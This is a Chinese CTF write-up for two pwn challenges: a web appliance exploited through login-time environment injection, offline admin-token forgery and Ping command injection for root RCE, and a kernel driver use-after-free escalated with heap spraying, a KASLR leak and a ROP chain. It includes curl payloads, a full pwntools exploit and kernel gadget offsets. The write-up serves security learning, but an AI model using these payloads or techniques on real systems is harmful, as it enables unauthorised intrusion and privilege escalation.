stderr_logfile=/var/log/crond_err.log
priority=5

这说明服务主链是:

nginx -> mwcgi -> entry.cgi -> 各个 API .so

同时还有一个独立常驻的插件守护进程:

mw_plugind

这两个进程的组合,正好对应 CVE-2024-10441 那条思路

注意到一个细节就是这里没有写user=…, supervisor 里默认规则:不指定用户 = 以 root 身份运行

也就是说mw_plugind包括后面的其他程序进程,都是继承root权限来运行的

负责转发和分发的就是entry.cgi,要看它到底调用了哪些api,

就看路由文件 .lib

usr/mw/webman/webapi:

MW.API.Auth.lib

{
    "MW.API.Auth": {
        "lib": "lib/MW.API.Auth.so",
        "authLevel": 0,
        "methods": {
            "7": [
                {"login": {}},
                {"logout": {}}
            ]
        }
    },
    "MW.API.Auth.Key": {
        "lib": "lib/MW.API.Auth.so",
        "authLevel": 1,
        "methods": {
            "7": [
                {"get": {"symbol": "auth_key_get"}}
            ]
        }
    },
    "MW.API.Auth.Type": {
        "lib": "lib/MW.API.Auth.so",
        "authLevel": 2,
        "methods": {
            "7": [
                {"get": {"symbol": "auth_type_get"}}
            ]
        }
    },
    "MW.API.Auth.UIConfig": {
        "lib": "lib/MW.API.Auth.so",
        "authLevel": 0,
        "methods": {
            "1": [
                {"get_ui_config": {"symbol": "auth_uiconfig_get"}}
            ]
        }
    }
}

auth_key_get被直接调用了,没有校验权限和密码

auth_key_get能用来验证当前传入的token是否正确

auth_uiconfig_get是未授权配置读取面

MW.API.Network.Ping.lib

{
    "MW.API.Network.Ping": {
        "lib": "lib/MW.API.Network.Ping.so",
        "authLevel": 1,
        "methods": {
            "1": [
                {"run": {"symbol": "network_ping_run"}}
            ]
        }
    }
}

这是ping网络测试接口,需要接收用户输入,比如端口信息,但如果输入不是正常命令,就会发生命令注入

这两步可以马上得到两个重要结论:MW.API.Auth.login是未授权接口,适合做 pre-auth 入口,MW.API.Network.Ping.run需要 token,但一旦 token 能伪造,后面就是稳定 RCE 面

从 entry.cgi开始梳理调用链

新镜像没把源码层打包进去,但旧镜像残留了 build/src,可以用来理解控制流

新版再用二进制和实测确认

旧镜像源码 build/src/mwcgi/entry.cpp 的关键逻辑非常清楚:

从 QUERY_STRING里解析 api、method、version

polaris53
polaris54

扫描当前 webapi目录下所有 .lib

polaris55

找到对应 API 后 dlopen() 目标 .so

polaris56
polaris57

dlsym()调用导出函数

polaris58
polaris59

所以解题时,先看 .lib再看 .so,比直接黑盒 fuzz 高效得多

旧镜像的 build/src/mwcgi/mwcgi_server.cpp说明 mwcgi会:

解析 SCGI 头

polaris60

把 header 里的环境变量通过 setenv()注入给 CGI 子进程

polaris61
polaris62

最后execl(ENTRY_CGI, ENTRY_CGI, nullptr)

polaris63

这解释了为什么远端请求中的各种 CGI 环境,在 entry.cgi和后面的 API 逻辑中都是可见的

简单说就是nginx → mwcgi → entry.cgi(真正的 API 接口),mwcgi不做任何校验,只负责转发请求

旧镜像 build/src/auth/mw_api_auth.cpp 里,登录逻辑长这样:

static int mw_auth_login(Json::Value &request, Json::Value &response) {
    std::string account = params.get("account", "").asString();
    std::string passwd = params.get("passwd", "").asString();

    if (account == "guest") {
        response["success"] = true;
        ...
        return 0;
    }

    SDKPluginWebloginPre(account, passwd, false);

    bool auth_success = verify_password(account, passwd);
    ...

    SDKPluginWebloginPost(...);
}

先走 SDKPluginWebloginPre
后做 verify_password

这意味着就算密码错了,插件链也已经被执行了

所以这条链天然就是 pre-auth 的

题目提示“不要爆破密码”就是这个原因

继续看同文件:

if (passwd.length() >= 0x1001 || account.length() >= 0x1001) {
    return;
}

SLIBPluginSetArg(handle, "USER", account.c_str());
SLIBPluginSetArg(handle, "TYPE", passwd.c_str());
SLIBPluginSetArg(handle, "IS_KNOWN_DEVICE", is_known_device ? "yes" : "no");
SLIBPluginAction(4, handle);

这里最重要的一句话是account 只做了长度检查,没有做换行过滤

这就是 CVE-2024-10441风格注入的入口

漏洞点一:插件 SDK 环境变量注入

旧镜像里,SLIBPluginAction()会把插件参数写到 env 文件里,再通知 mw_plugind去读取:

snprintf(env_path, sizeof(env_path), "%s/env.%d.%d",
         MW_PLUGIN_DIR, getpid(), rand());

for (const auto &arg : handle->args) {
    const std::string &key = arg.first;
    const std::string &value = arg.second;

    if (value.find('\n') != std::string::npos) {
        fprintf(fp, "%s:PLUGIN_VALUE_START\n", base64_encode(key).c_str());
        fprintf(fp, "%s\n", value.c_str());
        fprintf(fp, "PLUGIN_VALUE_END\n");
    } else {
        fprintf(fp, "%s:%s\n",
                base64_encode(key).c_str(),
                base64_encode(value).c_str());
    }
}

旧镜像里的 mw_plugind.cpp会:

逐行读 env 文件

按第一个 冒号:拆成 key/value

遇到 PLUGIN_VALUE_START 就读多行直到 PLUGIN_VALUE_END

然后 setenv()

也就是说,只要能在 account里塞入换行,就可以人为结束原本的 USER值,再伪造新的环境变量行

新版题和旧版最大的坑,是 env 文件格式变了

旧镜像源码写的是:

base64(key):base64(value)

但新版 mw_plugind二进制实测后发现:它读的是原始 KEY:VALUE

我本地直接把新版 mw_plugind跑起来,

bwrap --die-with-parent \
  --bind /tmp/pwn-image-mw-revenge-rootfs / \
  --dev-bind /dev /dev \
  --proc /proc \
  --chdir / \
  /usr/mw/bin/mw_plugind

往/var/run/mw_plugind/tmp/testenv写入:

USER:foo
TYPE:prelogin
LD_PRELOAD:/usr/lib/x86_64-linux-gnu/libmemusage.so
MEMUSAGE_OUTPUT:/usr/mw/etc/mw_token_salt

用这个来加载libmemusage.so,把内存使用统计结果打印出来

另一个终端

cat > /tmp/pwn-image-mw-revenge-rootfs/run/mw_plugind/tmp/testenv <<'EOF'
USER:foo
TYPE:prelogin
LD_PRELOAD:/usr/lib/x86_64-linux-gnu/libmemusage.so
MEMUSAGE_OUTPUT:/usr/mw/etc/mw_token_salt
EOF

再启一个终端然后给它发 plugin packet

python3 - <<'PY'
import socket, struct

sock_path = '/tmp/pwn-image-mw-revenge-rootfs/run/mw_plugind/mw_plugind.sock'
action = 4
plugin_type = b'weblogin'
env_path = b'/var/run/mw_plugind/tmp/testenv'
plugin_uuid = b'test-uuid'

pkt = struct.pack(
    '<i256s256s256s45s',
    action,
    plugin_type.ljust(256, b'\0'),
    env_path.ljust(256, b'\0'),
    plugin_uuid.ljust(256, b'\0'),
    b'\0' * 45
)

s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
s.connect(sock_path)
s.sendall(pkt)
s.close()
print('packet sent')
PY
polaris64

可以看到内存统计结果已经回显到第一个终端上

日志里能直接看到:

Args=[USER=foo,TYPE=prelogin,LD_PRELOAD=/usr/lib/x86_64-linux-gnu/libmemusage.so,MEMUSAGE_OUTPUT=/usr/mw/etc/mw_token_salt]

这是直接显示出来的payload,没有base64编码,这说明新版远端利用时,不要再用旧版那种 base64 key/value 了,直接 raw KEY:VALUE 才对

因此,真正的 pre-auth 注入格式应当是:

seed
PLUGIN_VALUE_END
LD_PRELOAD:/usr/lib/x86_64-linux-gnu/libmemusage.so
MEMUSAGE_OUTPUT:/usr/mw/etc/mw_token_salt

作为 account 参数发给:

/webapi/entry.cgi?api=MW.API.Auth&method=login&version=7

即使密码是错的,插件还是会先执行,环境变量已经污染成功

环境变量注入只是第一步,关键在于拿它做什么

我这里选的是:

LD_PRELOAD=/usr/lib/x86_64-linux-gnu/libmemusage.so
MEMUSAGE_OUTPUT=/usr/mw/etc/mw_token_salt

原因是它能提供一个非常稳定的按指定绝对路径写文件能力

这比 LD_DEBUG_OUTPUT 这种会自动加 .pid 后缀的方案好太多,因为我们要打的是一个固定文件名:

/usr/mw/etc/mw_token_salt

远端实测也确认了这一点:

  • 把 MEMUSAGE_OUTPUT 指到 web 根时,可以稳定生成文件
  • 把它指到 /usr/mw/etc/mw_token_salt 时,同样会成功覆写目标文件

漏洞点二:把 mw_token_salt 打坏,离线伪造 token

先看 mwtoken.so 暴露了什么

新版镜像里的 usr/lib/mwtoken.so 没有源码,但动态符号没有被去掉:

polaris65

同时字符串也很直白:

polaris66

看到这里基本可以确定:token 是这个库统一签发和校验的,mw_token_salt文件就是签名的关键材料

先调用 issue_mw_token(“admin”),拿到一个 token,形如 A.B.C

把 A 做 base64url 解码,得到 admin

B 本身就是十进制时间戳,而且和 harness 里打印的 expires= 一致,所以它就是过期时间

把 C 解码,得到的是这种格式:

$6$<salt>$<hash>

这个格式正是 glibc crypt() 的 SHA-512-crypt 输出

bwrap --die-with-parent \
  --dir /usr --dir /usr/lib --dir /usr/mw \
  --bind /lib /lib \
  --bind /lib64 /lib64 \
  --bind /usr/lib/x86_64-linux-gnu /usr/lib/x86_64-linux-gnu \
  --bind "$PWD/rootfs/usr/lib/mwtoken.so" /usr/lib/mwtoken.so \
  --bind "$PWD/rootfs/usr/mw/etc" /usr/mw/etc \
  --bind "$PWD/../pwn-mw-user" /work \
  --chdir /work \
  /lib64/ld-linux-x86-64.so.2 \
  --library-path /usr/lib:/usr/lib/x86_64-linux-gnu:/lib/x86_64-linux-gnu \
  ./token_harness.bin issue admin
polaris67

所以结构就被反推出:

base64url(username) . expiry . base64url(crypt.crypt(f"{username}|{expiry}", f"$6${salt}$"))

我本地用系统自带的 libmemusage.so生成的内容覆盖 mw_token_salt

MWETC=rootfs/usr/mw/etc
rm -f "$MWETC/mw_token_salt"

bwrap --die-with-parent \
  --dir /usr \
  --dir /usr/mw \
  --bind /bin /bin \
  --bind /lib /lib \
  --bind /lib64 /lib64 \
  --bind /usr/lib/x86_64-linux-gnu /usr/lib/x86_64-linux-gnu \
  --bind "$MWETC" /usr/mw/etc \
  --setenv LD_PRELOAD /usr/lib/x86_64-linux-gnu/libmemusage.so \
  --setenv MEMUSAGE_OUTPUT /usr/mw/etc/mw_token_salt \
  /bin/true

保护下把系统必要的库、命令映射进沙箱

polaris68

可以看到内存统计结果,说明libmemusage.so 确实被执行了

接着去看下被覆写的文件

polaris69

生成出来的 mw_token_salt文件前面是一大串 \\x00,说明salt文件被成功破坏

而且照常来说,这个salt解析出来会是一个空串

验证一下,用现在被破坏的盐值生成token文件,再本地用空盐计算一遍,看结果是否一样

TOKEN=$(
  MWTOKEN=rootfs/usr/lib/mwtoken.so
  MWETC=rootfs/usr/mw/etc
  bwrap --die-with-parent \
    --dir /usr --dir /usr/lib --dir /usr/mw \
    --bind /lib /lib \
    --bind /lib64 /lib64 \
    --bind /usr/lib/x86_64-linux-gnu /usr/lib/x86_64-linux-gnu \
    --bind "$PWD/$MWTOKEN" /usr/lib/mwtoken.so \
    --bind "$PWD/$MWETC" /usr/mw/etc \
    --bind "$PWD/../pwn-mw-user" /work \
    --chdir /work \
    /lib64/ld-linux-x86-64.so.2 \
    --library-path /usr/lib:/usr/lib/x86_64-linux-gnu:/lib/x86_64-linux-gnu \
    ./token_harness.bin issue admin | awk -F= '/^token=/{print $2}'
)

python3 - <<'PY' "$TOKEN"
import base64, crypt, sys
t = sys.argv[1]
u, e, s = t.split(".")
dec = lambda x: base64.urlsafe_b64decode(x + "=" * (-len(x) % 4)).decode()
user = dec(u)
sig = dec(s)
print(sig == crypt.crypt(f"{user}|{e}", "$6$$"))
PY
polaris70

输出结果为True

也就是说,这个库在读取被覆写后的 salt 文件时,等价地退化成了:

salt = ""

这一步非常重要,因为它把原本服务器端独有的 salt,变成了我们本地完全可计算的空 salt

所以可以离线伪造管理员 token

最终 forge 逻辑非常简单:

import base64
import crypt
import time

user = "admin"
exp = str(int(time.time()) + 86400 * 7)
sig = crypt.crypt(f"{user}|{exp}", "$6$$")

token = ".".join([
    base64.urlsafe_b64encode(user.encode()).decode().rstrip("="),
    exp,
    base64.urlsafe_b64encode(sig.encode()).decode().rstrip("="),
])

print(token)

得到YWRtaW4.1776221628.JDYkJHRlUTFjLy9sUE4uVW1DaEdubndJS24ycFljNzYxb0RyakRLZUFadlpwbGJiZzhQcUVNYUZhVmtFT1ZXZFhNeXJsNHQuemtPWXBXUFVZNnR5bnA1aTQx

先远端env注入,不管密码对不对,反正已经可以预认证污染了

curl -sG 'http://1314-5dee133e-b00b-41c3-82e7-d02a622415fc.challenge.ctfplus.cn/webapi/entry.cgi' \
  --data-urlencode 'api=MW.API.Auth' \
  --data-urlencode 'method=login' \
  --data-urlencode 'version=7' \
  --data-urlencode $'account=seed\nPLUGIN_VALUE_END\nLD_PRELOAD:/usr/lib/x86_64-linux-gnu/libmemusage.so\nMEMUSAGE_OUTPUT:/usr/mw/etc/mw_token_salt' \
  --data-urlencode 'passwd=x'

再远端拿这个 token 去请求:

/webapi/entry.cgi?api=MW.API.Auth.Key&method=get&version=1&mw_token=<token>

返回:

polaris71

说明伪造成功

拿到 token 后,Ping就是 RCE,先看 Ping二进制的导出和字符串

MW.API.Network.Ping.so里动态符号有:

network_ping_run
system

字符串里更直接:

Invalid ping target
/usr/bin/ping -c 1 -W 1 
executing system command=%s
ping requested runner=%s target=%s

这已经非常接近明示了:

它是拼 shell 命令后直接 system()

用 Ping拿 RCE

最小测试 payload:

target=127.0.0.1$(touch$IFS/usr/mw/webman/rce_ok)

能在 web 根看到 /rce_ok,就说明命令注入打通了

结合前面提到的root权限执行,所以这一段已经是稳定 root RCE

cp /flag.txt /usr/mw/webman/xxx

这步我实际上试过,返回值看起来是成功的,但目标文件没有稳定出现在 web 根

所以最终我用了更稳的文件名外带方案:

touch /FLAGMARK$(cat /flag.txt)

先在根目录创建文件名

curl -sG "$BASE/webapi/entry.cgi" \
  --data-urlencode 'api=MW.API.Network.Ping' \
  --data-urlencode 'method=run' \
  --data-urlencode 'version=1' \
  --data-urlencode "mw_token=$TOKEN" \
  --data-urlencode 'target=127.0.0.1$(touch$IFS/FLAGMARK$(cat$IFS/flag.txt))'

如果 cat /flag.txt成功,根目录就会生成一个名字是FLAGMARK<flag内容>的文件

接着再跑一次:

/usr/bin/script -q -c /bin/ls /usr/mw/webman/lsroot_flag

把 / 的目录列表写到 web 根

curl -sG "$BASE/webapi/entry.cgi" \
  --data-urlencode 'api=MW.API.Network.Ping' \
  --data-urlencode 'method=run' \
  --data-urlencode 'version=1' \
  --data-urlencode "mw_token=$TOKEN" \
  --data-urlencode 'target=127.0.0.1$(/usr/bin/script$IFS-q$IFS-c$IFS/bin/ls$IFS/usr/mw/webman/lsroot_flag)'

最后请求 /lsroot_flag,就能在目录项里直接看到flag

curl -s "$BASE/lsroot_flag"
polaris72

exp

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

json = __import__('json')
time = __import__('time')
re = __import__('re')
crypt = __import__('crypt')
quote_plus = __import__('urllib.parse', fromlist=['quote_plus']).quote_plus

host = args.HOST or '127.0.0.1'
port = int(args.PORT or 80)


def ub64(x):
    if isinstance(x, str):
        x = x.encode()
    return b64e(x).replace('+', '-').replace('/', '_').replace('=', '')


def qs(d):
    return '&'.join(f'{quote_plus(str(k))}={quote_plus(str(v))}' for k, v in d.items())


def http(path, params=None):
    if params:
        path = f'{path}?{qs(params)}'

    io = remote(host, port)
    req = (
        f'GET {path} HTTP/1.1\r\n'
        f'Host: {host}\r\n'
        'Connection: close\r\n'
        '\r\n'
    ).encode()


    io.send(req)
    head = io.recvuntil(b'\r\n\r\n')
    code = int(head.split(b' ', 2)[1])
    body = io.recvall(timeout=2)
    io.close()
    return code, head, body


def api(api_name, method, version, **kw):
    params = {
        'api': api_name,
        'method': method,
        'version': str(version),
    }
    params.update(kw)
    return http('/webapi/entry.cgi', params)


def j(body):
    return json.loads(body.decode(errors='ignore'))


def forge(user='admin'):
    exp = str(int(time.time()) + 86400 * 7)
    sig = crypt.crypt(f'{user}|{exp}', '$6$$')
    return '.'.join([ub64(user), exp, ub64(sig)])


def clobber_salt():
    account = (
        'seed\n'
        'PLUGIN_VALUE_END\n'
        'LD_PRELOAD:/usr/lib/x86_64-linux-gnu/libmemusage.so\n'
        'MEMUSAGE_OUTPUT:/usr/mw/etc/mw_token_salt'
    )
    code, _, body = api(
        'MW.API.Auth',
        'login',
        7,
        account=account,
        passwd='x',
    )
    log.info(f'login http = {code}')
    log.info(f'login body = {body.decode(errors="ignore")}')
    return j(body)


def check_token(tok):
    code, _, body = api(
        'MW.API.Auth.Key',
        'get',
        1,
        mw_token=tok,
    )
    log.info(f'auth.key http = {code}')
    log.info(f'auth.key body = {body.decode(errors="ignore")}')
    return j(body)


def ping(tok, target):
    code, _, body = api(
        'MW.API.Network.Ping',
        'run',
        1,
        mw_token=tok,
        target=target,
    )
    log.info(f'ping http = {code}')
    log.info(f'ping body = {body.decode(errors="ignore")}')
    return body


def get_flag(tok):
    tag = hex(int(time.time()))[2:]
    mark = f'FLAGMARK{tag}_'
    out = f'lsroot_{tag}'

    ping(tok, f'127.0.0.1$(touch$IFS/{mark}$(cat$IFS/flag.txt))')
    time.sleep(1)
    ping(tok, f'127.0.0.1$(/usr/bin/script$IFS-q$IFS-c$IFS/bin/ls$IFS/usr/mw/webman/{out})')
    time.sleep(1)

    code, _, body = http(f'/{out}')
    if code != 200:
        log.failure(f'get /{out} -> {code}')
        raise SystemExit(1)

    text = body.decode(errors='ignore')
    log.info(text)
    m = re.search(r'polarisctf\{[^}\n]+\}', text)
    if not m:
        log.failure('flag not found')
        raise SystemExit(1)
    return m.group(0)


if __name__ == '__main__':
    code, _, _ = http('/')
    log.info(f'root http = {code}')

    resp = clobber_salt()
    log.success(f'login_response = {json.dumps(resp, ensure_ascii=False)}')
    time.sleep(1)

    tok = forge('admin')
    log.success(f'mw_token = {tok}')

    info = check_token(tok)
    log.success(f'token_check = {json.dumps(info, ensure_ascii=False)}')

    flag = get_flag(tok)
    log.success(f'flag = {flag}')

mw-revenge

这个题和上面那道新版的镜像文件是一样的,当时还以为我看错了,仔细一看两题的网盘链接都一样,所以exp就是上道题复用就行

至于出题人说的fucking cpp! 二选一

我不是很懂,可能是继续啃c++源码?或者说是愿意图是让二选一,想保留那份旧版的题目,但是更新时不小心两个都换掉了?

旧镜像 pwn-mw-user 没有新版这些收尾条件:没有 start.sh 动态写 /flag.txt,没有 MW.API.Network.Ping,没有 mw_token_salt 这条 token 链

只能走老的 Auth.login -> env injection 这半条

babykernel

一道内核题

拿到题目,先看下给的run.sh

run.sh

#!/bin/bash
qemu-system-x86_64 \
    -m 256M \
    -cpu kvm64,+smep,+smap \
    -smp cores=2,threads=2 \
    -kernel ./bzImage \
    -hda ./rootfs.img \
    -nographic \
    -monitor /dev/null \
    -append "console=ttyS0 root=/dev/sda rw rdinit=/sbin/init nokaslr pti=on quiet oops=panic panic=1" \
    -no-reboot \
    -snapshot \
    -s

可以看到给的默认启动环境是nokaslr

接着解包文件系统镜像

在root文件夹里找到题目给的主要漏洞驱动NetRef.ko

ida打开分析

先看初始化函数

polaris73

把这个模块注册成misc设备,然后是分别执行打印成功和失败的输出信息

点开&misc_dev的结构体地址,在里面找到文件操作表fops,再顺着找到netref_ioctl这个主控函数

里面有很多条命令函数,我们一个个看,把分发逻辑搞清楚

rw_job的逻辑很简单:

polaris74
NetJob = jobs[idx];
if (!NetJob) 
    return -ENOENT;
size = min(size, 0x100);
if (is_write)
    copy_from_user(job->data, user_ptr, size);
else
    copy_to_user(user_ptr, job->data, size);   //cmd_read

也就是说,只要 jobs[idx]里还留着一个非空指针,CMD_READ和 CMD_WRITE 就会无条件把这块地址当成 NetJob 来操作

如果这块内存已经被 kfree,那这里就是标准 UAF 读写

alloc_job有几个非常关键的点:

idx <= 0xff,size <= 0x100,jobs[idx]为空时才允许分配

实际申请的是 0x200字节,也就是 kmalloc-512

用户数据从对象 +0x8开始拷进去,对象尾部还会初始化一个函数指针default_handler

polaris75

从汇编可以直接看出:

polaris76

然后看CMD_MARK,就是在netref_ioctl里的cmd=deadbeef分支

polaris77
polaris78

正常路径是:先 refcnt++,如果 state != 2

就把 state = 1,把 v6写到 +0x108,解锁后 refcnt–,返回 0

异常路径是:先 refcnt++,v6 == 114514,然后锁内又 refcnt–,设置 state = 2,解锁后还会统一 refcnt–,返回 -84

这里有一个非常明显的逻辑错误:

正常路径是 +1然后 -1,没有问题

但 v6== 0x1bf52 的异常路径里,锁内先减了一次,出锁以后又统一减一次

所以如果对象原本 refcnt == 1,执行一次:

ioctl(fd, CMD_MARK, {.idx = i, .v6= 0x1bf52});

引用计数变化就是:1 -> 2 -> 1 -> 0

最后对象没有被释放,但 refcnt已经被打成 0,而且 state被置成了 2

CMD_FREE 的逻辑在nef_ioctl的末尾部分,cmd=0x2222触发,要看仔细点

polaris79

从这里也可以看出一个job对象开头的字节对应的是引用计数,关键问题它只看 refcnt == 0就 kfree(job)

kfree之后没有 jobs[idx] = NULL

所以完整的漏洞序列就是:

ALLOC -> MARK(0x1bf52) -> FREE

执行之后对象真的被 kfree,但是 jobs[idx] 还指向原来的地址,CMD_READ / CMD_WRITE / CMD_EXEC依然能继续访问它

这就是一个UAF

然后是CMD_EXEC

CMD_EXEC分支是cmd=cafebabe

polaris80

调用目标是 job->cmd_handler,也就是 +0x110

传给 handler 的参数是 job->data,也就是 job + 0x8

这些我们前面在alloc里面看到的结构

结合 rw_job和 CMD_MARK还有CMD_EXEC的访问偏移,可以恢复出最重要的结构:

typedef struct NetJob {
    int refcnt;                  // +0x00
    int state;                   // +0x04
    char data[0x100];            // +0x08
    uint64_t magic_tag;          // +0x108
    uint64_t cmd_handler;        // +0x110
} NetJob;

注意rw_job只会读写 data[0x100] 这一段,也就是 [base+0x8, base+0x108),CMD_MARK写的是 magic_tag,也就是 +0x108

CMD_EXEC调用的是 cmd_handler,也就是 +0x110

这个 +0x108和+0x110的区别,后面非常关键

这意味着如果我们能覆盖 +0x110,就能控 RIP,而且第一次调用时 rdi = job + 0x8,这天然适合做栈迁移

但这里也有一个坑:CMD_MARK只能写 +0x108的 magic_tag,真正被调用的是 +0x110的 cmd_handler

所以这题不能靠 CMD_MARK直接改函数指针
必须先把 UAF 对象回收到别的内核对象上,再用那个新对象的布局去覆盖 +0x110

既然 NetJob是 kmalloc-512里的 0x200对象,那最自然的思路就是找一个也会进 kmalloc-512,内容大量可控并且某个可控区域能覆盖到旧对象 +0x110

那么想法就是走堆块重叠的套路,用一个同 cache 的别的内核结构的对象,来间接覆盖到cmd_handler

这里我选的是msg_msg,它的内容大量可控

Linux 里的 struct msg_msg头部大概是:

struct msg_msg {
    struct list_head m_list;   // 0x00
    long m_type;               // 0x10
    size_t m_ts;               // 0x18
    struct msg_msgseg *next;   // 0x20
    void *security;            // 0x28
    char text[];               // 0x30
};

如果一个 msg_msg正好回收到 UAF 的 NetJob上,那么:

NetJob + 0x110 == msg_msg + 0x110 == msg_msg->text + 0xe0

所以只要发一条消息,控制:

*(uint64_t *)(mtext + 0xe0) = target_handler;

就等于覆盖了悬挂 NetJob的 cmd_handler

这里有个细节:CMD_WRITE只能写旧 NetJob的 data[0x100],也就是 +0x8 ~ +0x108,它永远碰不到 +0x110的 cmd_handler

所以最终利用必须拆成两步,先靠 msg_msg喷射,把 +0x110 预先布成 pivot gadget

再用 UAF CMD_WRITE往 +0x8 ~ +0x108这段里写 ROP 栈

还差一个问题需要解决KASLR,到这里已经能拿到 RIP,但还差内核基址

一开始我用ai试过几个方向:直接盲猜 slide,msg_msg伪造 m_ts触发 usercopy panic

还有尝试inotify 的一些结构体泄露

其中msg_msg的 panic 泄露只能在 crash 日志里看到 Kernel Offset,不适合同会话利用。

inotify 有一条 root 可用的静态符号泄露,但普通 ctf 用户拿到的是 ucounts 堆指针,不够直接

最后稳定可用的方案,是 sysv_sem + inotify

ai写了一个扫描器,把常见对象挨个尝试去回收这个 kmalloc-512 槽

最后最有价值的两个对象是:

  • msg_msg
  • sysv sem

其中 sysv sem 的优点是:它也能稳定回收到 kmalloc-cg-512,它后续有一个现成的内核接口 semctl(GETVAL) 能读内部数组

如果能把边界字段改大,就有机会做 OOB read

在 READ 出来的 UAF 数据里找到了稳定指纹:

q[16] == q[17]
q[18] == q[19]
q[20] == q[21]
q[22] == 1

对应代码里就是:

static int is_sem_slot(const uint64_t *q, uint64_t *base_out) {
    if (q[16] == q[17] && q[18] == q[19] && q[20] == q[21] &&
        q[22] == 1 && is_kernel_ptr(q[16]) &&
        is_kernel_ptr(q[18]) && is_kernel_ptr(q[20])) {
        *base_out = q[16] - 0x88;
        return 1;
    }
    return 0;
}

q[22] == 1 这个值,后来证明正好就是 sem_nsems

Linux 6.8 里 semctl(GETVAL) 的关键逻辑可以抽象成:

if (semnum >= sma->sem_nsems)
    return -EINVAL;

curr = &sma->sems[semnum];
return curr->semval;

本来我们创建的是:

semget(IPC_PRIVATE, 1, 0600 | IPC_CREAT)

所以真实 sem_nsems == 1,只能读第 0 个信号量

但由于这是回收到 UAF 槽里的 sem_array,我们可以直接对悬挂指针做:

patch[22] = 8;
ioctl(fd, CMD_WRITE, ...);

也就是把 sem_nsems 从 1 改成 8

这样再执行:

semctl(semid, 4, GETVAL);

内核就会相信第 4 个元素合法,从 sma->sems[4] 读一个 semval 出来。

这个读已经越过了真实数组,打到了后面紧邻的对象

为了把越界读打到稳定对象上,我的分配顺序是:

  1. 先制造 16 个 UAF hole
  2. 再申请 4 个 semget(...)
  3. 再申请 12 个 inotify_init1(...)

这样在同一个 slab 页里,经常能形成:

[ sem ][ sem ][ sem ][ sem ][ inotify ][ inotify ] ...

于是某个 sem_array 的 OOB read,就会落到后面的 inotify 对象上

GETVAL(4) 泄露的是 inotify_fsnotify_ops这一步是实测出来的

本地跑出来比较稳定的结果是:

getval[4] = 0xaa44bcc0

然后把题包 bzImage 恢复成 vmlinux 之后,用 nm 可以拿到:

ffffffff8244bcc0 D inotify_fsnotify_ops

两者一对,就发现:0xaa44bcc0 – 0x8244bcc0 = 0x28000000

这正好是合法的 KASLR slide,而且还是 0x200000 对齐。

所以自动泄露的公式就是:slide32 = leak32 – (uint32_t)0xffffffff8244bcc0;

利用代码里的实现就是:

cand = (uint32_t)semctl(semids[i], 4, GETVAL);
slide32 = cand - (uint32_t)(KERNEL_BASE + INOTIFY_OPS_OFF);

if ((slide32 & 0x1fffffU) == 0 && slide32 < 0x40000000U)
    return slide32;

这一步完成以后,就有了同会话、普通用户可用的 KASLR 泄露

再把题包 bzImage 转回了 vmlinux,拿到了这几个关键符号:

ffffffff811300b0 T commit_creds
ffffffff81130650 T prepare_kernel_cred
ffffffff82201150 T swapgs_restore_regs_and_return_to_usermode
ffffffff8244bcc0 D inotify_fsnotify_ops
ffffffff8328fbc0 D init_cred

相对 KERNEL_BASE = 0xffffffff81000000 的偏移分别是:

commit_creds                              = 0x001300b0
swapgs_restore_regs_and_return_to_usermode = 0x01201150
inotify_fsnotify_ops                      = 0x0144bcc0
init_cred                                = 0x0228fbc0

另外还需要两个 gadget:

  • pop rdi; ret0xffffffff810c8099
  • pivot gadget:0xffffffff81e74805

CMD_EXEC 调用 handler 的形式是:

fn(job->data);

也就是第一次进入 gadget 时:

rdi = job + 0x8

而我选到的 pivot gadget 是:

0xffffffff81e74805: push rdi
0xffffffff81e74806: mov ecx, 0x415b0007
0xffffffff81e7480b: pop rsp
0xffffffff81e7480c: pop r13
0xffffffff81e7480e: pop rbp
... ret

先把 rdi 压到当前内核栈上,再 pop rsp,直接把 rsp 改成刚才那个 rdi,也就是把内核栈 pivot 到 job->data

而 job->data 恰好就是我们通过 UAF WRITE 能控制的那块区域。

所以这题的 handler 劫持几乎是“为 stack pivot 量身定做”的。

最终 ROP:commit_creds(init_cred) + KPTI 返回用户态

用 init_cred,常规 kernel pwn 经常写:

commit_creds(prepare_kernel_cred(NULL));

但这里完全没必要多找一个 mov rdi, rax 类 gadget
因为 init_cred 是静态内核对象,直接commit_creds(&init_cred)就够了,这样只需要一个 pop rdi; ret

因为 pivot gadget 先:

  • pop r13
  • pop rbp
  • 然后才 ret

所以栈前两个槽位要先放占位值。

最终链是:

chain[0] = 0x1111111111111111;   // 给 pop r13
chain[1] = 0x2222222222222222;   // 给 pop rbp
chain[2] = pop_rdi_ret;
chain[3] = init_cred;
chain[4] = commit_creds;
chain[5] = kpti_trampoline;

chain[6..19] = 0;                // 给 trampoline 弹寄存器
chain[20] = 0;                   // 用户态 rdi
chain[21] = 0x3333333333333333;  // 对齐占位
chain[22] = (uint64_t)get_flag;  // 用户态 rip
chain[23] = user_cs;
chain[24] = user_rflags;
chain[25] = user_sp;
chain[26] = user_ss;

KPTI trampoline 我用的是:

swapgs_restore_regs_and_return_to_usermode + 0x57

也就是:

0xffffffff822011a7

这段代码从这里开始会:

  1. 先弹一堆内核寄存器
  2. 然后把用户态的 ss/rsp/rflags/cs/rip 重新压好
  3. 最后 iretq 回到用户态

对应的关键汇编是:

ffffffff822011a7: pop r15
ffffffff822011a9: pop r14
...
ffffffff822011bd: mov rdi, rsp
ffffffff822011c0: mov rsp, gs:0x6004
ffffffff822011c9: push QWORD PTR [rdi+0x30]   ; ss
ffffffff822011cc: push QWORD PTR [rdi+0x28]   ; rsp
ffffffff822011cf: push QWORD PTR [rdi+0x20]   ; rflags
ffffffff822011d2: push QWORD PTR [rdi+0x18]   ; cs
ffffffff822011d5: push QWORD PTR [rdi+0x10]   ; rip

因此我们的 chain[22..26] 正好就是用户态返回框架。

完整利用链如下

先保存用户态寄存器

  • cs
  • ss
  • rsp
  • rflags

供 KPTI trampoline 回用户态使用

把进程绑在 CPU0上,减少 slab 分配抖动

自动泄露 KASLR

流程是:

  1. 造 16 个 NetJob
  2. 对这 16 个都执行 MARK(0x1bf52),把 refcount 打成 0
  3. FREE 掉它们,得到 16 个悬挂槽
  4. 申请 4 个 semget(...)
  5. 再申请 12 个 inotify_init1(...)
  6. 对悬挂槽逐个 READ,识别哪几个是 sem_array
  7. 用 UAF WRITE 把这些 sem_array 的 sem_nsems 从 1 改成 8
  8. 对每个 semid 调 semctl(semid, 4, GETVAL)
  9. 从返回值里减去 inotify_fsnotify_ops 的低 32 位,拿到 slide

